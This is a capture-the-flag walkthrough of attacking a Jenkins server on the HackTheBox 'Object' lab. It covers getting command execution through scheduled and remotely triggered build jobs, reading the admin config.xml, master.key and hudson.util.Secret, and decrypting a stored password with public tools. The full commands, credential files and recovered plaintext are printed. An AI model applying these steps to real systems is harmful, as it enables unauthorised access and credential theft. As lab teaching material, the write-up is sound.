We could try to spam default credentials and from there gain access via the groovy console using a reverse shell.
If we cant then we should try to create a new account and create a job.
If we dont have the build options then we can get code execution via scheduling.
Method 1: Schedule
Clicking the โConfigureโ link in the sidebar leads back to the settings for the job, where Iโll look more closely at the โBuild Triggersโ section:
โBuild periodicallyโ seems promising. Iโll check that box, which gives a empty text field. Jenkins uses a schedule system similar to cron . Iโll enter โ* * * * *โ, and it warns me that this will run every minute:
Iโll save and after a minute, refresh the page, and thereโs a build in the history:
Hovering over the โ#1โ thereโs a dropdown:
โConsole Outputโ shows the job ran:
Method 2: Trigger Remotely
Running different commands waiting one minute between each one is a bit exhausting. Iโll disable the scheduled trigger. Looking at the other options for โBuild Triggersโ, โTrigger builds remotely (e.g., from scripts)โ seems interesting. Checking it expands out asking for an โAuthentication Tokenโ:
I can try just adding a string as the token (say โTestTokenโ) and requesting the endpoint they give, but it doesnโt work:
Copy oxdf@hacky$ curl "http://object.htb:8080/job/0xdf's%20job/build?token=TestToken"
<html><head><meta http-equiv='refresh' content='1;url=/login?from=%2Fjob%2F0xdf%27s%2520job%2Fbuild%3Ftoken%3DTestToken'/><script>window.location.replace('/login?from=%2Fjob%2F0xdf%27s%2520job%2Fbuild%3Ftoken%3DTestToken');</script></head><body style='background-color:white; color:white;'>
Authentication required
<!--
-->
</body></html>
Back during enumeration I found where I could create API tokens in my profile. Iโll head there and click โAdd new Tokenโ:
Iโll name it 0xdfToken
and click generate:
Iโll also update the batch script with the job so that itโs clear why it triggered:
This post shows how to actually trigger the job. Iโll need to use the url of the form:
Copy http://[username]:[token]@[host]/job/[job name]/build?token=[token name]
So for me, thatโs:
Copy oxdf@hacky$ curl "http://0xdf:1176e6f7ba9fdf90c7ec7dba8c413cda89@object.htb:8080/job/0xdf's%20job/build?token=0xdfToken"
Thereโs no response from the server, but the job triggers, and a moment later thereโs console output:
Jenkins Enumeration
Look for Creds
Iโll look for the creds associated with the admin account. This could get more access in Jenkins, or perhaps give WinRM access to the host. This article talks about how each userโs information is stored in a config.xml
file. This article talks about the encryption used to store secrets.
Note: Iโm still running commands by editing the job, triggering it, and then checking the console output. For the sake of readability, Iโll just be showing the output from this point on unless thereโs a reason to show it.
Looking at the previous console returns, itโs clear the job is running from C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\0xdf's job
. Looking up a couple directories:
Copy C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\0xdf's job>powershell -c ls ..\..
Directory: C:\Users\oliver\AppData\Local\Jenkins\.jenkins
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/27/2022 3:49 AM jobs
d----- 10/20/2021 10:19 PM logs
d----- 10/20/2021 10:08 PM nodes
d----- 10/20/2021 10:12 PM plugins
d----- 10/20/2021 10:26 PM secrets
d----- 10/25/2021 10:31 PM updates
d----- 10/20/2021 10:08 PM userContent
d----- 2/26/2022 1:59 PM users
d----- 10/20/2021 10:13 PM workflow-libs
d----- 2/27/2022 3:33 AM workspace
-a---- 2/26/2022 1:39 PM 0 .lastStarted
-a---- 2/27/2022 9:58 AM 41 .owner
-a---- 2/26/2022 1:39 PM 2505 config.xml
-a---- 2/26/2022 1:39 PM 156 hudson.model.UpdateCenter.xml
-a---- 10/20/2021 10:13 PM 375 hudson.plugins.git.GitTool.xml
-a---- 10/20/2021 10:08 PM 1712 identity.key.enc
-a---- 2/26/2022 1:39 PM 5 jenkins.install.InstallUtil.lastExecVersion
-a---- 10/20/2021 10:14 PM 5 jenkins.install.UpgradeWizard.state
-a---- 10/20/2021 10:14 PM 179 jenkins.model.JenkinsLocationConfiguration.xml
-a---- 10/20/2021 10:21 PM 357 jenkins.security.apitoken.ApiTokenPropertyConfiguration.xml
-a---- 10/20/2021 10:21 PM 169 jenkins.security.QueueItemAuthenticatorConfiguration.xml
-a---- 10/20/2021 10:21 PM 162 jenkins.security.UpdateSiteWarningsConfiguration.xml
-a---- 10/20/2021 10:08 PM 171 jenkins.telemetry.Correlator.xml
-a---- 2/26/2022 1:39 PM 907 nodeMonitors.xml
-a---- 2/27/2022 10:06 AM 856 queue.xml
-a---- 10/20/2021 10:28 PM 129 queue.xml.bak
-a---- 10/20/2021 10:08 PM 64 secret.key
-a---- 10/20/2021 10:08 PM 0 secret.key.not-so-secret
The user information is stored in /users/
:
Copy C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\0xdf's job>powershell -c ls ..\..\users\
Directory: C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/27/2022 10:30 AM 0xdf_4936803374376763548
d----- 10/21/2021 2:22 AM admin_17207690984073220035
-a---- 2/26/2022 1:59 PM 402 users.xml
In that admin directory, thereโs a config.xml
:
Copy C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\0xdf's job>powershell -c ls ..\..\users\admin_17207690984073220035
Directory: C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\admin_17207690984073220035
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/21/2021 2:22 AM 3186 config.xml
Iโll dump that file and save it to my local workstation:
Copy <?xml version='1.1' encoding='UTF-8'?>
<user>
<version>10</version>
<id>admin</id>
<fullName>admin</fullName>
<properties>
<com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@2.6.1">
<domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
<entry>
<com.cloudbees.plugins.credentials.domains.Domain>
<specifications/>
</com.cloudbees.plugins.credentials.domains.Domain>
<java.util.concurrent.CopyOnWriteArrayList>
<com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
<id>320a60b9-1e5c-4399-8afe-44466c9cde9e</id>
<description></description>
<username>oliver</username>
<password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password>
<usernameSecret>false</usernameSecret>
</com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
</java.util.concurrent.CopyOnWriteArrayList>
</entry>
</domainCredentialsMap>
</com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
<hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty plugin="email-ext@2.84">
<triggers/>
</hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty>
<hudson.model.MyViewsProperty>
<views>
<hudson.model.AllView>
<owner class="hudson.model.MyViewsProperty" reference="../../.."/>
<name>all</name>
<filterExecutors>false</filterExecutors>
<filterQueue>false</filterQueue>
<properties class="hudson.model.View$PropertyList"/>
</hudson.model.AllView>
</views>
</hudson.model.MyViewsProperty>
<org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.3.5">
<providerId>default</providerId>
</org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>
<hudson.model.PaneStatusProperties>
<collapsed/>
</hudson.model.PaneStatusProperties>
<jenkins.security.seed.UserSeedProperty>
<seed>ea75b5bd80e4763e</seed>
</jenkins.security.seed.UserSeedProperty>
<hudson.search.UserSearchProperty>
<insensitiveSearch>true</insensitiveSearch>
</hudson.search.UserSearchProperty>
<hudson.model.TimeZoneProperty/>
<hudson.security.HudsonPrivateSecurityRealm_-Details>
<passwordHash>#jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW</passwordHash>
</hudson.security.HudsonPrivateSecurityRealm_-Details>
<hudson.tasks.Mailer_-UserProperty plugin="mailer@1.34">
<emailAddress>admin@object.local</emailAddress>
</hudson.tasks.Mailer_-UserProperty>
<jenkins.security.ApiTokenProperty>
<tokenStore>
<tokenList/>
</tokenStore>
</jenkins.security.ApiTokenProperty>
<jenkins.security.LastGrantedAuthoritiesProperty>
<roles>
<string>authenticated</string>
</roles>
<timestamp>1634793332195</timestamp>
</jenkins.security.LastGrantedAuthoritiesProperty>
</properties>
</user>
Thereโs both a hash and an encrypted password.
Decrypt Password
I could try to brute force the hash, but decrypting the password will be easier. Most of the references that will come up on Google (like this one ) show how to do this through the script console (/script
), but as I showed above, I donโt have access to that.
I found two repos on Github that had methods for decrypting user passwords stored on Jenkins. This one is written in Go, and this one has a ton of Python scripts for pentesting Jenkins.
Both require the config.xml
, as well as master.key
and hudson.util.Secret
, but from /secrets/
:
Copy C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\0xdf's job>powershell -c ls ..\..\secrets
Directory: C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/20/2021 10:08 PM filepath-filters.d
d----- 10/20/2021 10:08 PM whitelisted-callables.d
-a---- 10/20/2021 10:26 PM 272 hudson.console.AnnotatedLargeText.consoleAnnotator
-a---- 10/20/2021 10:26 PM 32 hudson.model.Job.serverCookie
-a---- 10/20/2021 10:15 PM 272 hudson.util.Secret
-a---- 10/20/2021 10:08 PM 32 jenkins.model.Jenkins.crumbSalt
-a---- 10/20/2021 10:08 PM 256 master.key
-a---- 10/20/2021 10:08 PM 272 org.jenkinsci.main.modules.instance_identity.InstanceIdentity.KEY
-a---- 10/20/2021 10:21 PM 5 slave-to-master-security-kill-switch
master.key
looks like itโs stored in hex:
Copy C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\0xdf's job>powershell -c cat ..\..\secrets\master.key
f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe73414a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3bd96d8321a2e19e2bf0c76fe31db19
In any case that the thing is not 256 bytes we can trim the new line by using the following commands.
Copy cat master.key | tr -d '\n' | sponge master.key
โญโ๎ฒ ๏
ผ ๎ฑ ๏ /home/kali/Object โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ ๎ณ root@kali ๎ฐ
โฐโ cat master.key
f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe73414a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3bd96d8321a2e19e2bf0c76fe31db19# โญโ๎ฒ ๏
ผ ๎ฑ ๏ /home/kali/Object โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ ๎ณ root@kali ๎ฐ
โฐโ wc -c master.key
256 master.key
I can verify I got the full thing by making sure itโs the same length, 256 bytes:
Copy oxdf@hacky$ wc -c master.key
256 master.key
hudson.util.Secret
looks like a binary file:
Copy cmd /c powershell -c [convert]::ToBase64String((cat ../../secrets/hudson.util.Secret -Encoding byte))
Iโll use PowerShell to base64 encode it :
Copy C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\0xdf's job>powershell -c [convert]::ToBase64String((cat ..\..\secrets\hudson.util.Secret -Encoding byte))
gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHOkX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2LAORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzcpBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA=
Now I can copy that string and echo
it into base64 -d
on my local system to save it to a file.
Downloading the Go binary from jenkins-credential-decryptor like in these instructions works great:
Copy oxdf@hacky$ curl -L \
> "https://github.com/hoto/jenkins-credentials-decryptor/releases/download/1.2.0/jenkins-credentials-decryptor_1.2.0_$(uname -s)_$(uname -m)" \
> -o jenkins-credentials-decryptor
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 687 100 687 0 0 5088 0 --:--:-- --:--:-- --:--:-- 5088
100 2336k 100 2336k 0 0 4382k 0 --:--:-- --:--:-- --:--:-- 10.3M
oxdf@hacky$ chmod +x jenkins-credentials-decryptor
oxdf@hacky$ ./jenkins-credentials-decryptor
Please provide all required flags.
Usage:
jenkins-credentials-decryptor \
-m master.key \
-s hudson.util.Secret \
-c credentials.xml \
-o json
Flags:
-c string
(required) credentials.xml file location
-m string
(required) master.key file location
-o string
(optional) output format [json|text] (default "json")
-s string
(required) hudson.util.Secret file location
-version
(optional) show version
oxdf@hacky$ ./jenkins-credentials-decryptor -m master.key -s hudson.util.Secret -c config.xml
[
{
"id": "320a60b9-1e5c-4399-8afe-44466c9cde9e",
"password": "c1cdfun_d2434\u0003\u0003\u0003",
"username": "oliver"
}
]
The pwn_jenkins Python script works as well:
Copy oxdf@hacky$ wget https://raw.githubusercontent.com/gquere/pwn_jenkins/master/offline_decryption/jenkins_offline_decrypt.py
--2022-02-27 18:47:56-- https://raw.githubusercontent.com/gquere/pwn_jenkins/master/offline_decryption/jenkins_offline_decrypt.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 2606:50c0:8000::154, 2606:50c0:8001::154, 2606:50c0:8002::154, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6875 (6.7K) [text/plain]
Saving to: โjenkins_offline_decrypt.pyโ
jenkins_offline_decrypt.py 100%[=====================================================================================================================>] 6.71K --.-KB/s in 0s
2022-02-27 18:47:57 (14.0 MB/s) - โjenkins_offline_decrypt.pyโ saved [6875/6875]
oxdf@hacky$ python jenkins_offline_decrypt.py
Usage:
jenkins_offline_decrypt.py <jenkins_base_path>
or:
jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
jenkins_offline_decrypt.py -i <path> (interactive mode)
oxdf@hacky$ python jenkins_offline_decrypt.py master.key hudson.util.Secret config.xml
c1cdfun_d2434